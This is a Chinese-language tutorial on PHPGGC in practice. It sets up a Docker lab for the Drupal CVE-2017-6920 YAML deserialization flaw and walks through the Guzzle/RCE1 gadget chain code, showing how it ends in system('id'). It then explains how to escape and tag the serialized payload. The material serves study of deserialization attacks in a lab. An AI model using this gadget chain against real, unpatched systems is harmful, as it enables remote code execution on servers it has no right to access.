本文首发于先知:https://xz.aliyun.com/t/5450
PHPGGC学习----理论部分对PHPGGC工具的使用方法有了一个基本的了解,接下来需要利用实践环境进行一个实践操作,巩固一下刚才所学习的内容:
环境:
https://github.com/Medicean/VulApps/tree/master/d/drupal/1
docker pull medicean/vulapps:d_drupal_1
docker run -d -p 8000:80 medicean/vulapps:d_drupal_1
CVE-2017-6920 YAML 解析器处理不当导致的一个远程代码执行漏洞

其中pop链在gadgets.php文件中,pop链的逻辑和描述在chain.php文件中,以Guzzle/RCE1为例子进行分析:

chain.php:
1<?php 2 3namespace GadgetChain\Guzzle; 4 5class RCE1 extends \PHPGGC\GadgetChain\RCE 6{ 7 public static $version = '6.0.0 <= 6.3.2'; 8 public static $vector = '__destruct'; 9 public static $author = 'proclnas'; 10 public static $informations = ' 11 This chain requires GuzzleHttp\Psr7 < 1.5.0, because FnStream cannot be 12 deserialized afterwards. 13 See https://github.com/ambionics/phpggc/issues/34 14 '; 15 16 17 public function generate(array $parameters) 18 { 19 $function = $parameters['function']; 20 $parameter = $parameters['parameter']; 21 22 return new \GuzzleHttp\Psr7\FnStream([ 23 'close' => [ 24 new \GuzzleHttp\HandlerStack($function, $parameter), 25 'resolve' 26 ] 27 ]); 28 } 29}
从其中可以看到其对使用该组件的描述,要求GuzzleHttp\Psr7的版本要小于1.5.0,具体的逻辑在gengrate成员方法中,其中入口参数为数组parameters,
其包括function和parameter两个参数,分别为要进行rce的函数和函数的参数,其返回的即是\GuzzleHttp\Psr7\FnStream的匿名对象,其入口参数为一个数组,数组包括一个数组元素,键名为close,键值为一个数组,
包括\GuzzleHttp\HandlerStack匿名对象,以及resolve字符串,至此构造序列化对象的逻辑结束,接下来结合gadgets.php看一下整个链是如何连起来的
gadgets.php
1<?php 2 3namespace Psr\Http\Message 4{ 5 interface StreamInterface{} 6} 7 8namespace GuzzleHttp\Psr7 9{ 10 class FnStream implements \Psr\Http\Message\StreamInterface 11 { 12 private $methods; 13 14 public function __construct(array $methods) 15 { 16 $this->methods = $methods; 17 18 foreach ($methods as $name => $fn) { 19 $this->{'_fn_' . $name} = $fn; 20 } 21 } 22 23 /* 24 public function __destruct() 25 { 26 if (isset($this->_fn_close)) { 27 call_user_func($this->_fn_close); 28 } 29 } 30 31 public function close() 32 { 33 return call_user_func($this->_fn_close); 34 } 35 */ 36 } 37} 38 39namespace GuzzleHttp 40{ 41 class HandlerStack 42 { 43 private $handler; 44 private $stack; 45 private $cached = false; 46 47 function __construct($function, $parameter) 48 { 49 $this->stack = [[$function]]; 50 $this->handler = $parameter; 51 } 52 53 /* 54 public function resolve() 55 { 56 if (!$this->cached) { 57 if (!($prev = $this->handler)) { 58 throw new \LogicException('No handler has been specified'); 59 } 60 61 foreach (array_reverse($this->stack) as $fn) { 62 $prev = $fn[0]($prev); 63 } 64 65 $this->cached = $prev; 66 } 67 68 return $this->cached; 69 } 70 */ 71 } 72}
在类HandlerStack的构造方法中传入了rce要使用的函数及参数,并赋值给$this->stack和$this->handler,然后在类FnStream的构造方法中传入包含键close的数组,此时
将会拼接出一个_fn_close=[new \GuzzleHttp\HandlerStack($function, $parameter),'resolve'],这_fn_close的第一个元素其实已经实例化为一个匿名对象了,这里为了好理解先写成实例化前的形式。然后在FnStream的__destruct()函数中将会调用$this->_fn_close,即构成:
call_user_func([new \GuzzleHttp\HandlerStack($function, $parameter),'resolve'])
以上这种调用的形式在php官方文档中存在此种调用类中方法的形式:

所以此时关注类HandlerStack的resolve方法:
其中将利用php的动态函数的性质来构成rce的函数调用,比如此时假设:
[new \GuzzleHttp\HandlerStack($function, $parameter),'resolve']=》[new \GuzzleHttp\HandlerStack("system", "id"),'resolve']
即此时$prev参数首先经过$prev = $this->handler以后为id,接着经过foreach (array_reverse($this->stack) as $fn),$fn将为包含一个元素的数组["system"],然后经过
$prev = $fn[0]($prev);赋值以后$fn[0]即为system,即$prev即为system("id");最后函数调用返回再传入call_user_func,即构成call_user_func(system("id")) ;
到此,整个调用链已经分析结束,实现的原理也清楚了,接下来利用其生成的序列化payload来测试一下:
因为生成的序列化数据里面含有空字节,因此将payload输出到文件中使用php的addslashes函数转义一下:

接着就可以加上在序列化数据前加上YAML_PHP_TAG,即!php/object 标签
